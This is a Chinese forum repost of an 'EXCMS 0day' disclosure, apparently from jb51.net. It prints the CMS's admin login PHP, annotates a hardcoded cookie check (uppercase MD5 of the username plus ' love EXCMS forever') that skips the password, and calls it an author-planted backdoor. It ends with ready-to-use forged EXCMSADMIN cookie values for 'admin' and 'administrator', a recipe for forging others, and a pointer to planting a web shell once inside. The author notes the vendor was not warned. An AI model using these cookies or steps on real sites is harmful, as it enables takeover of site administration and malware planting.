• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    EXCMS 0day (过程精彩)

    发布者: 午夜收音机 | 发布时间: 2025-6-28 23:14| 查看数: 101| 评论数: 0|帖子模式

      以下版本没测试 测试的是最新版本
      在公布前几小时没有通知官方 ^_^ 哈哈
      为什么说过程精彩呢? 看完就明白!
      因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!
      经典对白 看代码
      后台登录文件
      adminModulesAuthIndex.php
      
      if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的
      {
      }
      if ( !defined( "EXCMS_ADMIN" ) )
      {
      exit( "Access Denied" );
      }
      $excms_action['title'] = "登录"; //标题
      $forward = $_GET['forward']; //登录后转跳的地方
      $verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。
      if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )
      //迈下伏笔了!
      {
      $defaultBoxDisplay = "none";
      $BoxDisplay = "";
      $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
      //看到这里没? 神奇把?
      $remeberAdmin = $remeberInfo[0];
      $remeberPwd = $remeberInfo[1];
      //账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!
      $pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );
      //这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?
      $remeberPwd = $remeberPwd == $pwdForever ? true : false;
      $loginInputDispay = $remeberPwd ? "none" : "";
      $loginType = $remeberPwd ? 3 : 2;
      }
      else
      {
      $defaultBoxDisplay = "";
      $BoxDisplay = "none";
      $loginInputDispay = "none";
      $loginType = 1;
      }
      //下面是输出登录界面的
      然后是CheckLogin.php 验证登录文件
      经典对白 看代码!
      
      if ( defined( "EXCMS" ) )//index.php有了
      {
      }
      if ( !defined( "EXCMS_ADMIN" ) )
      {
      exit( "Access Denied" );
      }
      $excms_action['loadtpl'] = true;
      $adminname = trim( $param['adminname'] );
      $password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );
      $rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];
      $forward = $param['forward'];
      $login_fail = true;
      $error = "";
      //以上东西不用理 $param都是POST方式的
      if ( empty( $adminname ) )
      //检测账户是否为空
      {
      $error = getlangbyname( "EMPTY_ADMINNAME" );
      }
      else if ( $param['loginType'] != 3 && empty( $password ) )
      //检测这个什么东西 可能是步骤把 是否第3步和密码是否是空
      {
      $error = getlangbyname( "EMPTY_PASSWORD" );
      }
      else
      {
      if ( $param['loginType'] == 3 )
      {
      //以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证
      $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
      $remeberAdmin = $remeberInfo[0];
      $remeberPwd = $remeberInfo[1];
      //账号密码从COOKIES里获取!
      $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
      if ( $remeberPwd == $pwdForever )
      //COOKIES里的账号加密过程 比ESPCMS还简单~~
      {
      include_once( LIB_PATH."system/Admin.class.php" );
      $admin_obj = new Admin( );
      $admin = $admin_obj->getByAdminname( $adminname );
      //悲剧! 只验证了管理员账号 没有验证密码!!!
      if ( $admin )
      {
      $admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );
      $_SESSION['admininfo'] = $admin;
      //获得管理员权限了!!!!!!!!!
      ++$_SESSION['admininfo']['logintimes'];
      $admin_obj->updateLastLogin( $admin['adminid'] );
      include_once( LIB_PATH."auth/Auth.class.php" );
      $auth = new Auth( );
      $auth->checkMenu( true );
      $excms_action['loadtpl'] = false;
      $login_fail = false;
      }
      }
      }
      else
      //跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!
      {
      if ( $EXCMS['config']['login_verifycode'] )
      {
      $param['verifycode'] = trim( $param['verifycode'] );
      if ( $param['verifycode'] == "" )
      {
      $error = getlangbyname( "EMPTY_VERIFYCODE" );
      }
      else
      {
      include_once( LIB_PATH."util/CheckCode.class.php" );
      $checkcode = new CheckCode( );
      if ( !$checkcode->check( $param['verifycode'] ) )
      {
      $error = getlangbyname( "VERIFYCODE_FAILED" );
      }
      }
      }
      if ( empty( $error ) )
      {
      include_once( LIB_PATH."auth/Auth.class.php" );
      $auth = new Auth( );
      $loginMsg = $auth->Login( $adminname, $password );
      if ( $loginMsg['success'] )
      {
      $_SESSION['admininfo'] = $loginMsg['admininfo'];
      ++$_SESSION['admininfo']['logintimes'];
      $auth->checkMenu( true );
      if ( $rememberPwd == 1 )
      {
      $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
      setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );
      }
      else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )
      {
      setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );
      }
      $login_fail = false;
      $excms_action['loadtpl'] = false;
      }
      else
      {
      $error = getlangbyname( $loginMsg['message'] );
      }
      }
      }
      }
      if ( !$login_fail )
      {
      if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )
      {
      header( "Location:index.php", true );
      exit( );
      }
      header( "Location:".$forward, true );
      exit( );
      }
      $errorCls = "f";
      if ( $excms_action['loadtpl'] )
      {
      if ( !$error )
      {
      $error = getlangbyname( "LOGIN_FAILED" );
      }
      require( MODULES_PATH."Auth/Index.php" );
      }
      ?>
      //分析完毕
      最后给出EXP
      EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;
      EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
      第1个是admin
      第2个是administrator 一般 就这2个 其他账号的话请自行结构
      结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );
      然后 strtoupper一次 就是把字母都变大写
      修改COOKIES 直接进入后台 然后自定义页面 写入网马
      后语 这个COOKIES“漏洞”并非是记住管理登录状态
      记住管理登录的COOKIES是 SESSION ID 验证这个
      所以这个漏洞100%是作者留下的后门!
      

    来源:https://www.jb51.net/hack/34723.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表